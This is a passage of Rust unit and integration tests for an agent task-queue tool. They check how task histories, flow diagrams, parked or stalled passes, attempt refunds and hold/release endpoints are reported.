12164 Config::default(),
12165 );
12166 review.id = b.to_owned();
12167 review.status = RunStatus::Merged;
12168 write_state(&f.runs(), &review);
12169
12170 let mut task = Task::new(
12171 "retry".to_owned(),
12172 "Do the thing".to_owned(),
12173 PathBuf::from("/repo/magi"),
12174 Source::Human,
12175 );
12176 task.start(a.to_owned());
12177 task.stall("quota");
12178 task.start(a.to_owned());
12179 task.start(b.to_owned());
12180 task.start(gone.to_owned());
12181 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
12183 f.queue().put(&mut task).expect("file the task");
12184
12185 let res = f.get(&format!("/api/queue/{}", task.id)).await;
12186 assert_eq!(res.status, 200, "{}", res.body);
12187 let v = res.json();
12188 let h = v["history"].as_array().expect("history");
12189 assert_eq!(h.len(), 4, "{v}");
12190 assert_eq!(h[0]["kind"], "competition");
12191 assert_eq!(h[0]["status"], "stalled");
12192 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
12193 assert_eq!(h[1]["kind"], "resume", "{v}");
12194 assert!(
12195 h[0]["outcome"]
12196 .as_str()
12197 .unwrap()
12198 .contains("unknown. Pass #2"),
12199 "an earlier pass of a resumed run must not claim the final outcome: {v}"
12200 );
12201 assert!(
12202 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
12203 "{v}"
12204 );
12205 assert!(
12206 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
12207 "an unrecorded cause must not be narrated as an operator park: {v}"
12208 );
12209 assert_eq!(h[2]["kind"], "review");
12210 assert!(
12211 h[2]["description"]
12212 .as_str()
12213 .unwrap()
12214 .contains("magi/aaaa/A")
12215 );
12216 assert_eq!(h[2]["status"], "merged");
12217 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
12218 assert_eq!(v["runs_unreadable"], 1);
12219 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
12220 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
12221 assert_eq!(nodes[4]["note"], "unreadable");
12222 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
12223 assert_eq!(v["instruction"], "Do the thing");
12224 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
12225
12226 let run = f.get(&format!("/api/runs/{a}")).await.json();
12228 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
12229
12230 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
12231 }
12232
12233 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
12234 let mut s = RunState::new(
12235 PathBuf::from("/repo/magi"),
12236 "main".to_owned(),
12237 "0123456789abcdef".to_owned(),
12238 "Do it".to_owned(),
12239 Config::default(),
12240 );
12241 s.status = status;
12242 edit(&mut s);
12243 s
12244 }
12245
12246 fn flow_task(runs: &[&str]) -> Task {
12247 let mut t = Task::new(
12248 "t".to_owned(),
12249 "Do it".to_owned(),
12250 PathBuf::from("/repo/magi"),
12251 Source::Human,
12252 );
12253 for r in runs {
12254 t.start((*r).to_owned());
12255 }
12256 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
12258 t
12259 }
12260
12261 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
12262 let h = task_history(task, |id| {
12263 states
12264 .iter()
12265 .find(|(i, _)| *i == id)
12266 .and_then(|(_, s)| s.clone())
12267 });
12268 task_flow(task, &h, 5, None)
12269 }
12270
12271 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
12272 crate::queue::FollowUp {
12273 run: "20260901-000000-aaaa".to_owned(),
12274 origin_task: origin_task.map(str::to_owned),
12275 pr: "https://example.com/o/r/pull/1".to_owned(),
12276 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
12277 .map(str::to_owned)
12278 .to_vec(),
12279 generation: 1,
12280 }
12281 }
12282
12283 fn parent_task() -> Task {
12284 let mut p = flow_task(&[]);
12285 p.title = "Parent title".to_owned();
12286 p.status = TaskStatus::Done;
12287 p
12288 }
12289
12290 #[test]
12291 fn flow_opens_with_the_parent_task_of_a_followup() {
12292 let p = parent_task();
12293 let pid = p.id.clone();
12294 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
12295 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12296 let n = &f.nodes[0];
12297 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
12298 assert_eq!(
12299 n.label,
12300 format!("Follow-up of {}", crate::queue::short(&pid))
12301 );
12302 assert_eq!(n.detail.as_deref(), Some("Parent title"));
12303 assert_eq!(n.status, Some("done"));
12304 assert_eq!(n.status_of, "task");
12305 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
12306 assert_eq!(f.nodes[1].key, "start");
12307 assert_eq!(f.edges[0].from, "origin");
12308 assert_eq!(
12309 f.edges[0].label,
12310 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
12311 );
12312 }
12313
12314 #[test]
12315 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
12316 let o = followup_origin(
12317 &fu(Some("gone")),
12318 |_| None,
12319 |_| {
12320 Some(RunState::new(
12321 std::path::PathBuf::from("."),
12322 "main".to_owned(),
12323 "0".to_owned(),
12324 "t".to_owned(),
12325 crate::config::Config::default(),
12326 ))
12327 },
12328 );
12329 assert!(o.parent.is_none());
12330 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12331 let n = &f.nodes[0];
12332 assert_eq!(n.status_of, "run");
12333 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
12334 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
12335 }
12336
12337 #[test]
12338 fn flow_followup_with_nothing_readable_has_no_link() {
12339 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
12340 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12341 let n = &f.nodes[0];
12342 assert_eq!(n.href, None);
12343 assert_eq!(n.note, Some("unreadable"));
12344 assert!(!n.readable);
12345 }
12346
12347 #[test]
12348 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
12349 let o = followup_origin(&fu(None), |_| None, |_| None);
12350 let mut t = flow_task(&[]);
12351 t.origin_chat = Some("c1".to_owned());
12352 let f = task_flow(&t, &[], 5, Some(&o));
12353 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
12354 t.source = Source::Agent {
12355 run: "c1".to_owned(),
12356 node: crate::queue::CHAT_NODE.to_owned(),
12357 };
12358 let f = task_flow(&t, &[], 5, Some(&o));
12359 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
12360 assert_eq!(
12361 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
12362 ("chat", "origin")
12363 );
12364 }
12365
12366 #[test]
12367 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
12368 let mut p = parent_task();
12369 p.id = "a b/c".to_owned();
12370 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
12371 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
12372 }
12373
12374 #[test]
12375 fn flow_opens_with_the_chat_that_queued_the_task() {
12376 let mut t = flow_task(&[]);
12377 t.source = Source::Agent {
12378 run: "a b/c".to_owned(),
12379 node: crate::queue::CHAT_NODE.to_owned(),
12380 };
12381 let f = flow_for(&t, &[]);
12382 assert_eq!(f.nodes[0].key, "chat");
12383 assert_eq!(f.nodes[0].kind, "chat");
12384 assert_eq!(
12385 f.nodes[0].label,
12386 format!("Chat {}", crate::queue::short("a b/c"))
12387 );
12388 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
12389 assert_eq!(f.nodes[1].key, "start");
12390 assert_eq!(
12391 f.edges[0],
12392 FlowEdge {
12393 from: "chat".to_owned(),
12394 to: "start".to_owned(),
12395 label: "queued from chat".to_owned(),
12396 attempt: AttemptCost::None,
12397 }
12398 );
12399 }
12400
12401 #[test]
12402 fn flow_has_no_chat_box_for_other_sources() {
12403 for source in [
12404 Source::Human,
12405 Source::Issue {
12406 number: 3,
12407 repo: "o/r".to_owned(),
12408 },
12409 Source::Agent {
12410 run: "20260904-014455-ab12".to_owned(),
12411 node: "implement".to_owned(),
12412 },
12413 ] {
12414 let mut t = flow_task(&[]);
12415 t.source = source;
12416 let f = flow_for(&t, &[]);
12417 assert_eq!(f.nodes[0].key, "start");
12418 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
12419 assert!(f.edges.iter().all(|e| e.from != "chat"));
12420 }
12421 }
12422
12423 const FA: &str = "20260902-140501-aaaa";
12424 const FB: &str = "20260902-140502-bbbb";
12425
12426 #[test]
12427 fn flow_follows_blocked_retry_merged_to_done() {
12428 let mut t = flow_task(&[FA, FB]);
12429 t.status = TaskStatus::Done;
12430 let f = flow_for(
12431 &t,
12432 &[
12433 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
12434 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
12435 ],
12436 );
12437 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
12438 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
12439 assert_eq!(f.edges.len(), 3);
12440 assert_eq!(f.edges[0].label, "claimed");
12441 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
12442 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12443 assert_eq!(f.edges[2].label, "merged \u{2192} done");
12444 assert_eq!(
12445 f.nodes[2].href.as_deref(),
12446 Some("#/runs/20260902-140502-bbbb")
12447 );
12448 assert!(f.nodes[2].decided);
12449 }
12450
12451 #[test]
12452 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
12453 let quota = || {
12454 flow_run(RunStatus::Stalled, |s| {
12455 s.quota.push(crate::run::QuotaLoss {
12456 seat: "judge-1".to_owned(),
12457 node: "judge".to_owned(),
12458 at: Timestamp::now(),
12459 reset: None,
12460 })
12461 })
12462 };
12463 let mut t = flow_task(&[FA, FA]);
12464 t.status = TaskStatus::Queued;
12465 let f = flow_for(&t, &[(FA, Some(quota()))]);
12466 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
12467 assert_eq!(f.nodes[1].note, Some("interrupted"));
12468 assert_eq!(
12469 f.nodes[1].status, None,
12470 "no outcome copied onto an earlier pass"
12471 );
12472 assert_eq!(
12473 f.edges[1].attempt,
12474 AttemptCost::Unknown,
12475 "a resume does not prove the earlier pass was refunded"
12476 );
12477 assert!(f.edges[1].label.contains("resume the same run"));
12478 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
12479 assert_eq!(
12480 f.edges[2].label,
12481 "stalled after a resume, refund unknown \u{2192} queued"
12482 );
12483 assert!(!f.nodes[2].decided, "a stall is not a decision");
12484 assert_eq!(f.nodes[2].note, Some("no verdict"));
12485 }
12486
12487 #[test]
12488 fn flow_single_pass_quota_stall_is_refunded() {
12489 let t = flow_task(&[FA]);
12490 let f = flow_for(
12491 &t,
12492 &[(
12493 FA,
12494 Some(flow_run(RunStatus::Stalled, |s| {
12495 s.quota.push(crate::run::QuotaLoss {
12496 seat: "judge-1".to_owned(),
12497 node: "judge".to_owned(),
12498 at: Timestamp::now(),
12499 reset: None,
12500 })
12501 })),
12502 )],
12503 );
12504 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12505 }
12506
12507 #[test]
12508 fn flow_parked_refunds_and_stall_without_quota_spends() {
12509 let mut t = flow_task(&[FA]);
12510 t.status = TaskStatus::Queued;
12511 let f = flow_for(
12512 &t,
12513 &[(
12514 FA,
12515 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
12516 )],
12517 );
12518 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
12519 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12520 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
12521 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12522 assert!(!f.nodes[1].decided);
12523 }
12524
12525 #[test]
12526 fn flow_keeps_an_unreadable_run_as_its_own_node() {
12527 let t = flow_task(&[FA, FB]);
12528 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
12529 assert_eq!(f.nodes[1].note, Some("unreadable"));
12530 assert!(!f.nodes[1].readable);
12531 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
12532 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
12533 }
12534
12535 #[test]
12536 fn flow_names_the_branch_of_a_review_only_run() {
12537 let t = flow_task(&[FA]);
12538 let f = flow_for(
12539 &t,
12540 &[(
12541 FA,
12542 Some(flow_run(RunStatus::Merged, |s| {
12543 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
12544 })),
12545 )],
12546 );
12547 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
12548 assert_eq!(
12549 f.nodes[1].detail.as_deref(),
12550 Some("review-only run of branch magi/x/A")
12551 );
12552 }
12553
12554 #[test]
12555 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
12556 let mut t = flow_task(&[FA]);
12557 t.status = TaskStatus::Held;
12558 let pr = crate::run::PrRecord {
12559 url: "https://example.test/pr/1".to_owned(),
12560 number: 1,
12561 state: "open".to_owned(),
12562 checks: "green".to_owned(),
12563 round: 0,
12564 rounds: 3,
12565 red_at_merge: Vec::new(),
12566 };
12567 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
12568 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
12569 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
12570 t.status = TaskStatus::Done;
12571 let f = flow_for(&t, &[(FA, Some(blocked))]);
12572 assert_eq!(f.edges[1].label, "closed by hand: task is done");
12573 }
12574
12575 #[test]
12576 fn flow_with_no_runs_goes_from_queued_to_queued() {
12577 let t = flow_task(&[]);
12578 let f = flow_for(&t, &[]);
12579 assert_eq!(f.nodes.len(), 2);
12580 assert_eq!(f.edges.len(), 1);
12581 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
12582 assert_eq!(f.edges[0].attempt, AttemptCost::None);
12583 }
12584
12585 #[test]
12588 fn a_parked_non_terminal_run_is_explained_as_parked() {
12589 let mut s = RunState::new(
12590 PathBuf::from("/repo/magi"),
12591 "main".to_owned(),
12592 "0123456789abcdef".to_owned(),
12593 "Do it".to_owned(),
12594 Config::default(),
12595 );
12596 s.status = RunStatus::Implementing;
12597 s.parked = true;
12598 let task = Task::new(
12599 "t".to_owned(),
12600 "Do it".to_owned(),
12601 PathBuf::from("/repo/magi"),
12602 Source::Human,
12603 );
12604 let v = task_run_view(
12605 "20260902-140501-aaaa",
12606 Some(&s),
12607 RunSlot {
12608 n: 1,
12609 resumed: false,
12610 resumed_later: None,
12611 prior: None,
12612 last: true,
12613 ..RunSlot::default()
12614 },
12615 &task,
12616 );
12617 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
12618 }
12619
12620 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
12621 let mut s = flow_run(RunStatus::Implementing, edit);
12622 s.parked = false;
12623 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
12624 task_run_view(
12625 "20260902-140501-aaaa",
12626 Some(&s),
12627 RunSlot {
12628 n: 1,
12629 resumed: false,
12630 resumed_later: Some(2),
12631 prior: None,
12632 last: false,
12633 ..RunSlot::default()
12634 },
12635 &task,
12636 )
12637 }
12638
12639 #[test]
12640 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
12641 let v = earlier_pass_view(|_| {});
12642 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
12643 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12644 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
12645 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
12646 assert_eq!(v.exit, RunExit::Interrupted);
12647 assert_eq!(v.attempt, AttemptCost::Unknown);
12648 }
12649
12650 #[test]
12651 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
12652 let v = earlier_pass_view(|s| {
12653 s.quota.push(crate::run::QuotaLoss {
12654 seat: "judge-1".to_owned(),
12655 node: "judge".to_owned(),
12656 at: Timestamp::now(),
12657 reset: None,
12658 });
12659 });
12660 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
12661 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12662 assert_eq!(v.attempt, AttemptCost::Unknown);
12663 }
12664
12665 #[test]
12666 fn the_current_pass_states_its_recorded_cause_and_cost() {
12667 let slot = || RunSlot {
12668 n: 1,
12669 resumed: false,
12670 resumed_later: None,
12671 prior: None,
12672 last: true,
12673 ..RunSlot::default()
12674 };
12675 let task = flow_task(&["20260902-140501-aaaa"]);
12676 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
12677 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
12678 assert_eq!(
12679 (v.exit, v.attempt),
12680 (RunExit::Parked, AttemptCost::Refunded)
12681 );
12682 let spent = flow_run(RunStatus::Blocked, |_| {});
12683 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
12684 assert_eq!(v.attempt, AttemptCost::Spent);
12685 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12686 }
12687
12688 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
12689 crate::run::RunPass {
12690 index,
12691 started_at: Timestamp::now(),
12692 resumed: index > 0,
12693 ended_at: end.as_ref().map(|_| Timestamp::now()),
12694 end,
12695 task_entry: true,
12696 }
12697 }
12698
12699 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
12700 Some(crate::run::PassEnd::Parked { cause })
12701 }
12702
12703 fn upgrade_cause() -> crate::run::ParkCause {
12704 crate::run::ParkCause::Upgrade {
12705 from: "0.121.0".to_owned(),
12706 to: Some("0.121.1".to_owned()),
12707 }
12708 }
12709
12710 fn settled_pass(
12711 run: &str,
12712 index: usize,
12713 cost: crate::queue::PassCost,
12714 ) -> crate::queue::TaskPass {
12715 crate::queue::TaskPass {
12716 run: run.to_owned(),
12717 pass_index: index,
12718 cost,
12719 attempts_after: 1,
12720 settled_at: Timestamp::now(),
12721 parked: None,
12722 }
12723 }
12724
12725 const RUN_X: &str = "20261011-223708-4334";
12726
12727 #[test]
12728 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
12729 use crate::queue::PassCost;
12730 let run = flow_run(RunStatus::Implementing, |s| {
12731 s.passes = vec![
12732 recorded_pass(0, parked(upgrade_cause())),
12733 recorded_pass(1, None),
12734 ];
12735 });
12736 let mut task = flow_task(&[RUN_X, RUN_X]);
12737 task.attempts = 1;
12738 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12739 let h = task_history(&task, |_| Some(run.clone()));
12740 assert_eq!(h.len(), 2);
12741 assert_eq!(h[0].kind, "competition");
12742 assert_eq!(h[1].kind, "resume");
12743 assert_eq!(
12744 (h[0].exit, h[0].attempt),
12745 (RunExit::Parked, AttemptCost::Refunded)
12746 );
12747 assert!(
12748 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
12749 "{}",
12750 h[0].outcome
12751 );
12752 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
12753 assert!(
12754 h[0].outcome.contains("pass #2 resumed the same run"),
12755 "{}",
12756 h[0].outcome
12757 );
12758 assert!(
12759 h[0].outcome.contains("pass 1 of 2 over run"),
12760 "{}",
12761 h[0].outcome
12762 );
12763 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12764 assert_eq!(
12765 h[0].exit_label,
12766 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
12767 );
12768 let f = task_flow(&task, &h, 2, None);
12769 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
12771 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
12772 assert!(
12773 f.edges[1].label.contains("upgrade 0.121.0"),
12774 "{}",
12775 f.edges[1].label
12776 );
12777 assert!(
12778 f.edges[1].label.contains("resume the same run"),
12779 "{}",
12780 f.edges[1].label
12781 );
12782 assert_eq!(f.nodes[1].note, Some("parked"));
12783 }
12784
12785 #[test]
12786 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
12787 let mut a = flow_run(RunStatus::Implementing, |s| {
12788 s.passes = vec![
12789 recorded_pass(0, parked(upgrade_cause())),
12790 recorded_pass(1, None),
12791 ];
12792 });
12793 let mut b = flow_run(RunStatus::Failed, |s| {
12794 s.passes = vec![recorded_pass(0, None)];
12795 });
12796 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
12797 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
12798 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
12799 let mut task = flow_task(&[]);
12800 task.start("a".into());
12801 task.start("b".into());
12802 task.start("a".into());
12803 assert_eq!(task.runs, ["b", "a"]);
12804 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
12805 let h = task_history(&task, |id| {
12806 Some(if id == "a" { a.clone() } else { b.clone() })
12807 });
12808 assert_eq!(
12809 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
12810 ["a", "b", "a"]
12811 );
12812 assert_eq!(h[0].attempt, AttemptCost::Refunded);
12813 assert!(h[0].outcome.contains("upgrade"));
12814 assert_eq!(h[2].kind, "resume");
12815 assert!(h[2].pass.is_some());
12816 task.runs = vec!["a".into(), "b".into(), "a".into()];
12818 let old = task_history(&task, |id| {
12819 Some(if id == "a" { a.clone() } else { b.clone() })
12820 });
12821 assert_eq!(
12822 old.iter()
12823 .map(|v| (&v.id, &v.kind, v.attempt))
12824 .collect::<Vec<_>>(),
12825 h.iter()
12826 .map(|v| (&v.id, &v.kind, v.attempt))
12827 .collect::<Vec<_>>()
12828 );
12829 }
12830
12831 #[test]
12832 fn an_upgrade_whose_target_was_not_known_says_so() {
12833 let run = flow_run(RunStatus::Implementing, |s| {
12834 s.passes = vec![
12835 recorded_pass(
12836 0,
12837 parked(crate::run::ParkCause::Upgrade {
12838 from: "0.121.0".to_owned(),
12839 to: None,
12840 }),
12841 ),
12842 recorded_pass(1, None),
12843 ];
12844 });
12845 let task = flow_task(&[RUN_X, RUN_X]);
12846 let h = task_history(&task, |_| Some(run.clone()));
12847 assert!(
12848 h[0].outcome.contains("upgrade from 0.121.0"),
12849 "{}",
12850 h[0].outcome
12851 );
12852 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12854 }
12855
12856 #[test]
12857 fn each_pass_keeps_its_own_cause_across_several_resumes() {
12858 use crate::queue::PassCost;
12859 use crate::run::ParkCause;
12860 let run = flow_run(RunStatus::Implementing, |s| {
12861 s.passes = vec![
12862 recorded_pass(0, parked(upgrade_cause())),
12863 recorded_pass(
12864 1,
12865 parked(ParkCause::Interrupt {
12866 reason: "task a1b2 asked to run first".to_owned(),
12867 }),
12868 ),
12869 recorded_pass(2, parked(ParkCause::Operator)),
12870 recorded_pass(3, None),
12871 ];
12872 });
12873 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
12874 task.attempts = 1;
12875 task.passes = (0..3)
12876 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
12877 .collect();
12878 let h = task_history(&task, |_| Some(run.clone()));
12879 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12880 assert!(
12881 h[1].outcome.contains("task a1b2 asked to run first"),
12882 "{}",
12883 h[1].outcome
12884 );
12885 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
12886 assert!(
12887 h[2].outcome.contains("operator asked the loop to park"),
12888 "{}",
12889 h[2].outcome
12890 );
12891 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
12892 let f = task_flow(&task, &h, 2, None);
12893 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
12894 }
12895
12896 #[test]
12897 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
12898 let run = flow_run(RunStatus::Implementing, |s| {
12899 s.passes = vec![
12900 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
12901 recorded_pass(1, None),
12902 ];
12903 });
12904 let task = flow_task(&[RUN_X, RUN_X]);
12905 let h = task_history(&task, |_| Some(run.clone()));
12906 assert_eq!(h[0].exit, RunExit::Interrupted);
12907 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12908 assert!(
12909 h[0].outcome.contains("without recording why"),
12910 "{}",
12911 h[0].outcome
12912 );
12913 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12914 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
12915 }
12916
12917 #[test]
12918 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
12919 use crate::queue::PassCost;
12920 let run = flow_run(RunStatus::Implementing, |s| {
12923 s.passes = vec![
12924 recorded_pass(0, parked(upgrade_cause())),
12925 recorded_pass(1, None),
12926 ];
12927 });
12928 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
12929 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12930 let h = task_history(&task, |_| Some(run.clone()));
12931 assert!(h[0].pass.is_none());
12932 assert_eq!(h[0].exit, RunExit::Interrupted);
12933 assert_eq!(h[0].attempt, AttemptCost::Unknown);
12934 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12935 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12936 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
12937 let legacy = flow_run(RunStatus::Implementing, |_| {});
12939 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
12940 assert!(h.iter().all(|v| v.pass.is_none()));
12941 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
12942 }
12943
12944 #[test]
12945 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
12946 use crate::queue::PassCost;
12947 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
12950 web.task_entry = false;
12951 let run = flow_run(RunStatus::Implementing, |s| {
12952 s.passes = vec![
12953 recorded_pass(0, parked(upgrade_cause())),
12954 web.clone(),
12955 recorded_pass(2, None),
12956 ];
12957 });
12958 let mut task = flow_task(&[RUN_X, RUN_X]);
12959 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
12960 let h = task_history(&task, |_| Some(run.clone()));
12961 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
12962 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
12963
12964 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
12967 web0.task_entry = false;
12968 let run = flow_run(RunStatus::Implementing, |s| {
12969 s.passes = vec![web0.clone(), recorded_pass(1, None)];
12970 });
12971 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
12972 assert!(h[0].pass.is_none());
12973 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
12974 assert!(h[1].pass.is_some());
12975 }
12976
12977 #[tokio::test]
12978 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
12979 let dir = tempfile::tempdir().unwrap();
12980 let queue = Queue::at(dir.path().join("queue"));
12981 let ui = Arc::new(Ui::new(
12982 queue.clone(),
12983 Questions::at(dir.path().join("questions")),
12984 Talks::at(dir.path().join("talks")),
12985 dir.path().join("runs"),
12986 dir.path().to_path_buf(),
12987 dir.path().to_path_buf(),
12988 ));
12989 let mut t = Task::new(
12990 "recover".into(),
12991 "Inspect".into(),
12992 PathBuf::from("."),
12993 Source::Human,
12994 );
12995 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
12996 t.start("run-A".into());
12997 t.release_operator("choice", Some("resume-question"));
12998 t.resume_override = Some(crate::queue::OperatorResume {
12999 question_id: "resume-question".into(),
13000 at: jiff::Timestamp::now(),
13001 conductor_rehold: None,
13002 forced: true,
13003 pinned_run: Some("run-A".into()),
13004 });
13005 t.hold_machine(Some("inspection pending".into()));
13006 t.edit("recover".into(), "Reuse approved PR head".into())
13007 .unwrap();
13008 queue.put(&mut t).unwrap();
13009 let mut cli = t.clone();
13010 cli.release_operator("cli", None);
13011 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
13012 let reloaded = queue.get(&t.id).unwrap();
13013 assert_eq!(reply.task.status, TaskStatus::Queued);
13014 assert!(reloaded.resume_override.is_none());
13015 assert_eq!(reloaded.answers, t.answers);
13016 let mut web = reloaded.resumption.unwrap();
13017 let cli = cli.resumption.unwrap();
13018 assert_eq!(web.source, "web");
13019 web.source = cli.source.clone();
13020 web.at = cli.at;
13021 assert_eq!(web, cli);
13022 }
13023
13024 #[tokio::test]
13025 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
13026 let f = Fixture::start().await;
13027 let queue = f.queue();
13028 let mut task = Task::new(
13029 "spent".to_owned(),
13030 "Try again".to_owned(),
13031 PathBuf::from("/repo/magi"),
13032 Source::Human,
13033 );
13034 task.start("20260902-140502-bbbb".to_owned());
13035 task.fail("agent gave up", 9);
13036 queue.put(&mut task).expect("file the task");
13037
13038 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13039 assert_eq!(held.status, 200);
13040 assert_eq!(held.json()["status_str"], "held");
13041
13042 let released = f
13043 .post(&format!("/api/queue/{}/release", task.id), None)
